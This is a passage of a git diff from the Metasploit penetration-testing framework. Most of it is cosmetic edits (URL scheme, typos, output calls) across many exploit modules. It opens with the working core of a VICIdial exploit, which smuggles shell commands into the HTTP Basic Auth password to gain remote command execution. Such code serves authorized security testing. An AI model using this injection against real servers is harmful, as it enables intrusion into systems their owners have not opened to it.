+      'Targets'        => [[ 'Automatic Targeting', {} ]],
+      'Privileged'     => false,
+      'DisclosureDate' => 'May 26 2017',
+      'DefaultTarget'  => 0))
+    register_options([ OptString.new('TARGETURI', [true, 'The base path to VICIdial', '/vicidial/']) ])
+    deregister_options('USERNAME', 'PASSWORD')
+  end
+
+  def check
+    user = rand_text_alpha(rand(10) + 5)
+    pass = "#{rand_text_alpha(rand(10) + 5)}&#"
+    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
+                           'authorization' => basic_auth(user, pass)
+
+    unless res
+      vprint_status 'Connection failed'
+      return CheckCode::Unknown
+    end
+
+    if res.code != 401
+      vprint_status "#{peer} Unexpected reply. Expected authentication failure."
+      return CheckCode::Safe
+    end
+
+    # Check for input filtering of '#' and '&' characters in password
+    # Response for invalid credentials is in the form of: |<username>|<password>|BAD|
+    if res.body !~ /\|#{user}\|#{pass}\|BAD\|/
+      vprint_status "#{peer} Target is patched."
+      return CheckCode::Safe
+    end
+
+    # Check for ../agc/bp.pl password encryption script
+    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '..', 'agc', 'bp.pl')
+    if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/
+      vprint_status "#{peer} Password encryption is supported, but may not be enabled."
+      return CheckCode::Appears
+    end
+
+    vprint_status "#{peer} Could not verify whether password encryption is supported."
+    CheckCode::Detected
+  end
+
+  def execute_command(cmd, opts = {})
+    user = rand_text_alpha(rand(10) + 5)
+    pass = "#{rand_text_alpha(rand(10) + 5)}& #{cmd} #"
+
+    print_status "#{peer} Sending payload (#{cmd.length} bytes)"
+    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
+                           'authorization' => basic_auth(user, pass)
+
+    if !res
+      fail_with(Failure::Unreachable, 'Connection failed')
+    elsif res.code == 401 && res.body =~ /#{user}/ && res.body =~ /BAD/
+      print_good "#{peer} Payload sent successfully"
+    else
+      fail_with(Failure::UnexpectedReply, 'Unexpected reply')
+    end
+  end
+
+  def exploit
+    execute_command(payload.encoded)
+  end
+end
diff --git a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb
index b4ff5385d7..ebc82466e6 100644
--- a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb
+++ b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits an arbitrary command execution vulnerability in Webmin
         1.580. The vulnerability exists in the /file/show.cgi component and allows an
         authenticated user, with access to the File Manager Module, to execute arbitrary
-        commands with root privileges. The module has been tested successfully with Webim
+        commands with root privileges. The module has been tested successfully with Webmin
         1.580 over Ubuntu 10.04.
       },
       'Author'         => [
@@ -149,5 +149,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb
index 2a992332b5..b8ea3208ac 100644
--- a/modules/exploits/unix/webapp/webtester_exec.rb
+++ b/modules/exploits/unix/webapp/webtester_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb
index 39507be8ac..6e90a0cb73 100644
--- a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb
+++ b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb
index 0537735874..55385eb52e 100644
--- a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb
+++ b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -90,6 +90,5 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
 
diff --git a/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb b/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb
index 9bbc6ba02e..f6fd62a78a 100644
--- a/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb
+++ b/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb
index 76a4f028a9..adfd54231a 100644
--- a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb
+++ b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb b/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb
index 7dae911020..66637b831f 100644
--- a/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb
+++ b/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb b/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb
index 3199b6562e..f8de0c7ce5 100644
--- a/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb
+++ b/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
       if res && res.code == 200 && res.body && res.body.length > 0 && res.body =~ /#{Regexp.escape(filename)}$/
         uploaded_filename = res.body
         register_files_for_cleanup(uploaded_filename)
-        print_status("File #{uploaded_filename} successfully uploaded")
+        print_good("File #{uploaded_filename} successfully uploaded")
       else
         fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
       end
diff --git a/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb
index b0f0f95ce3..ca31628d09 100644
--- a/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb
+++ b/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_foxypress_upload.rb b/modules/exploits/unix/webapp/wp_foxypress_upload.rb
index fbd598b297..a1c4e6bed5 100644
--- a/modules/exploits/unix/webapp/wp_foxypress_upload.rb
+++ b/modules/exploits/unix/webapp/wp_foxypress_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb
index a65d31e406..a1cfebd7f1 100644
--- a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb
+++ b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb
index 5130d7964b..fc1e636fcf 100644
--- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb
+++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
         blogging software plugin known as Google Document Embedder. The vulnerability allows for
         database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
         plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
-        server is exposed on a accessible IP and Wordpress has filesystem write access.
+        server is exposed on an accessible IP and WordPress has filesystem write access.
 
         Please note: The admin password may get changed if the exploit does not run to the end.
       },
@@ -169,7 +169,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def parse_wp_config(body)
     p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")
-    print_status("wp-config.php saved in: #{p}")
+    print_good("wp-config.php saved in: #{p}")
     print_status("Parsing config file")
     values = {}
 
@@ -263,6 +263,5 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
     end
   end
-
 end
 
diff --git a/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb
index 49e7020428..092da67136 100644
--- a/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb
+++ b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb b/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb
index 85aef4212c..b84e8fb6c4 100644
--- a/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb
+++ b/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb b/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb
index f497a2b8e1..55c25ce9ec 100644
--- a/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb
+++ b/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -76,5 +76,4 @@ class MetasploitModule < Msf::Exploit::Remote
                      'Infusionsoft', 'utilities', php_pagename)
     }, 2)
   end
-
 end
diff --git a/modules/exploits/unix/webapp/wp_lastpost_exec.rb b/modules/exploits/unix/webapp/wp_lastpost_exec.rb
index 933931faab..772e56b553 100644
--- a/modules/exploits/unix/webapp/wp_lastpost_exec.rb
+++ b/modules/exploits/unix/webapp/wp_lastpost_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("No response from the server")
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb b/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb
index a15832b122..2a8aabe881 100644
--- a/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb
+++ b/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb b/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb
index 921f12f0f7..d5a38c333f 100644
--- a/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb
+++ b/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_optimizepress_upload.rb b/modules/exploits/unix/webapp/wp_optimizepress_upload.rb
index 3d6e8dd1d8..aac11a89fe 100644
--- a/modules/exploits/unix/webapp/wp_optimizepress_upload.rb
+++ b/modules/exploits/unix/webapp/wp_optimizepress_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'            => 'WordPress OptimizePress Theme File Upload Vulnerability',
       'Description'     => %q{
-        This module exploits a vulnerability found in the the WordPress theme OptimizePress. The
+        This module exploits a vulnerability found in the WordPress theme OptimizePress. The
         vulnerability is due to an insecure file upload on the media-upload.php component, allowing
         an attacker to upload arbitrary PHP code. This module has been tested successfully on
         OptimizePress 1.45.
diff --git a/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb
index 3f5a5b0952..940eb5569a 100644
--- a/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb
+++ b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_phpmailer_host_header.rb b/modules/exploits/unix/webapp/wp_phpmailer_host_header.rb
index a241c2eaf5..f51f894ade 100644
--- a/modules/exploits/unix/webapp/wp_phpmailer_host_header.rb
+++ b/modules/exploits/unix/webapp/wp_phpmailer_host_header.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = AverageRanking
 
   include Msf::Exploit::Remote::HTTP::Wordpress
@@ -193,5 +192,4 @@ class MetasploitModule < Msf::Exploit::Remote
       super
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb
index 0727d5d0a4..7b6dfe0cda 100644
--- a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb
+++ b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_platform_exec.rb b/modules/exploits/unix/webapp/wp_platform_exec.rb
index 24ccd9d473..84fd88e844 100644
--- a/modules/exploits/unix/webapp/wp_platform_exec.rb
+++ b/modules/exploits/unix/webapp/wp_platform_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
         The WordPress Theme "platform" contains a remote code execution vulnerability
         through an unchecked admin_init call. The theme includes the uploaded file
-        from it's temp filename with php's include function.
+        from its temp filename with php's include function.
       },
       'Author'         =>
         [
diff --git a/modules/exploits/unix/webapp/wp_property_upload_exec.rb b/modules/exploits/unix/webapp/wp_property_upload_exec.rb
index 7c5a498760..7806a152f8 100644
--- a/modules/exploits/unix/webapp/wp_property_upload_exec.rb
+++ b/modules/exploits/unix/webapp/wp_property_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb
index 80904e65a2..80df5c2929 100644
--- a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb
+++ b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb
index b61546755b..1910ee035f 100644
--- a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb
+++ b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HTTP::Wordpress
@@ -91,5 +90,4 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::Unknown, 'ERROR')
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb
index 068e386420..b945aa0ac8 100644
--- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb
+++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb
index 1d31691887..465ec6e5f6 100644
--- a/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb
+++ b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_total_cache_exec.rb b/modules/exploits/unix/webapp/wp_total_cache_exec.rb
index dfa5605bb7..b153f303d6 100644
--- a/modules/exploits/unix/webapp/wp_total_cache_exec.rb
+++ b/modules/exploits/unix/webapp/wp_total_cache_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -111,7 +111,7 @@ class MetasploitModule < Msf::Exploit::Remote
       if @cookie.nil?
         fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
       end
-      print_status("login successful")
+      print_good("Login Successful")
       store_valid_credential(user: @user, private: @password, proof: @cookie)
     else
       print_status("Trying unauthenticated exploitation...")
diff --git a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb
index a49bc175f4..727c1936f5 100644
--- a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb
+++ b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb b/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb
index 6763d2ced7..fb5e9ee3c6 100644
--- a/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb
+++ b/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb
index d5ea3189ad..c7f088b016 100644
--- a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb
+++ b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,14 +12,14 @@ class MetasploitModule < Msf::Exploit::Remote
   def initialize(info = {})
     super(update_info(
       info,
-      'Name'           => 'Wordpress WPTouch Authenticated File Upload',
+      'Name'           => 'WordPress WPTouch Authenticated File Upload',
       'Description'    => %q{
-          The Wordpress WPTouch plugin contains an auhtenticated file upload
+          The WordPress WPTouch plugin contains an authenticated file upload
           vulnerability. A wp-nonce (CSRF token) is created on the backend index
           page and the same token is used on handling ajax file uploads through
           the plugin. By sending the captured nonce with the upload, we can
           upload arbitrary files to the upload folder. Because the plugin also
-          uses it's own file upload mechanism instead of the wordpress api it's
+          uses its own file upload mechanism instead of the WordPress api it's
           possible to upload any file type.
           The user provided does not need special rights, and users with "Contributor"
           role can be abused.
diff --git a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb
index 5400a5ae9b..4130c2b829 100644
--- a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb
+++ b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb
index b272e9827d..695132bac7 100644
--- a/modules/exploits/unix/webapp/xoda_file_upload.rb
+++ b/modules/exploits/unix/webapp/xoda_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -126,5 +126,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("Server returned #{res.code.to_s}")
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb
index df35117e40..4ae7c17443 100644
--- a/modules/exploits/unix/webapp/zeroshell_exec.rb
+++ b/modules/exploits/unix/webapp/zeroshell_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -150,5 +150,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     execute_cmdstager({:flavor => :echo})
   end
-
 end
diff --git a/modules/exploits/unix/webapp/zimbra_lfi.rb b/modules/exploits/unix/webapp/zimbra_lfi.rb
index 0d69c513c6..be92640509 100644
--- a/modules/exploits/unix/webapp/zimbra_lfi.rb
+++ b/modules/exploits/unix/webapp/zimbra_lfi.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb
index 557756416c..9429626a10 100644
--- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb
+++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -140,5 +140,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb
index 0b4f60f47c..9f36541072 100644
--- a/modules/exploits/unix/webapp/zpanel_username_exec.rb
+++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
         This module exploits a vulnerability found in ZPanel's htpasswd module. When
         creating .htaccess using the htpasswd module, the username field can be used to
         inject system commands, which is passed on to a system() function for executing
-        the system's htpasswd's command.
+        the system's htpasswd command.
 
         Please note: In order to use this module, you must have a valid account to login
         to ZPanel.  An account part of any of the default groups should suffice, such as:
@@ -150,5 +150,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Executing payload...")
     exec(base, token, sid, user_salt_cookie)
   end
-
 end
diff --git a/modules/exploits/unix/x11/x11_keyboard_exec.rb b/modules/exploits/unix/x11/x11_keyboard_exec.rb
index 7211b1e207..7f05cc07a0 100644
--- a/modules/exploits/unix/x11/x11_keyboard_exec.rb
+++ b/modules/exploits/unix/x11/x11_keyboard_exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
   include Msf::Exploit::Remote::Tcp
 
diff --git a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb
index d9df114d02..4aa312d3af 100644
--- a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb
+++ b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::CmdStager
diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb
index 5577fc73ce..3d9c2ab294 100644
--- a/modules/exploits/windows/antivirus/ams_xfr.rb
+++ b/modules/exploits/windows/antivirus/ams_xfr.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::CmdStager
@@ -82,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote
         if (!res)
           print_error("Did not received data. Failed?")
         else
-          print_status("Got data, execution successful!")
+          print_good("Got data, execution successful!")
         end
 
     disconnect
diff --git a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb
index 18a1fa89b7..f38e382839 100644
--- a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb
+++ b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -121,6 +121,5 @@ class MetasploitModule < Msf::Exploit::Remote
 
     xml_s
   end
-
 end
 
diff --git a/modules/exploits/windows/antivirus/symantec_iao.rb b/modules/exploits/windows/antivirus/symantec_iao.rb
index 83889b0adb..e150ab30df 100644
--- a/modules/exploits/windows/antivirus/symantec_iao.rb
+++ b/modules/exploits/windows/antivirus/symantec_iao.rb
